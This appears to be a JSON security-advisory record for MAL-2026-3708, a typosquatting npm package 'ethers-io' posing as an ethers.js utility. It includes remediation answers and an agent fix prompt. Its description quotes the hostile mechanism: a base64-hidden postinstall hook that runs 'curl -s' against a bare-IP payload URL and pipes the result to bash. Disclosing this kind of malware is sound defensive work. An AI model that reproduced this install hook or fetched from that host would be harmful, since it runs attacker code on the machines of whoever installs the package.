{"answers":{"affected":"1 open source package ship an affected version, including ethers-io.","exploited":"There is no known exploitation of MAL-2026-3708 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-3708 is a malicious package in ethers-io, published on 13 May 2026."},"fix_prompt":"MAL-2026-3708 is a malicious package: ethers-io (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-3708/ (Markdown: https://insights.sbomify.com/MAL-2026-3708/index.md)","id":"MAL-2026-3708","markdown":"https://insights.sbomify.com/MAL-2026-3708/index.md","name":"MAL-2026-3708","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package's `package.json` declares a `postinstall` script that base64-decodes a hidden URL (`http://8.217.75.147:3000/payload`) and pipes the HTTP response directly to `bash` via `curl -s \u003curl\u003e | bash`. On every `npm install`, arbitrary attacker-controlled shell code is fetched over plain HTTP from a bare IPv4 address and executed on the installer's machine with no TLS, no integrity verification, and fully mutable content. Multiple independent block signals stack: obfuscated URL in a lifecycle hook, curl-pipe-bash, bare-IP plaintext C2, and purpose mismatch with the package's stated function. The package name `ethers-io` and its stated purpose as \"I/O utilities for ethers.js\" additionally impersonate the well-known ethers.js ecosystem, with the repository pointing at `github.com/ethers-utils/ethers-io` rather than the genuine ethers.js organization — a typosquat lure wrapped around the install-time RCE.\n\nThe OpenSSF Package Analysis project identified 'ethers-io' @ 2.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in ethers-io (npm)","id":"MAL-2026-3708","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"ethers-io","purl":"pkg:npm/ethers-io","source":"MAL-2026-3708"}],"products":null,"published":"2026-05-13","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-3708/"}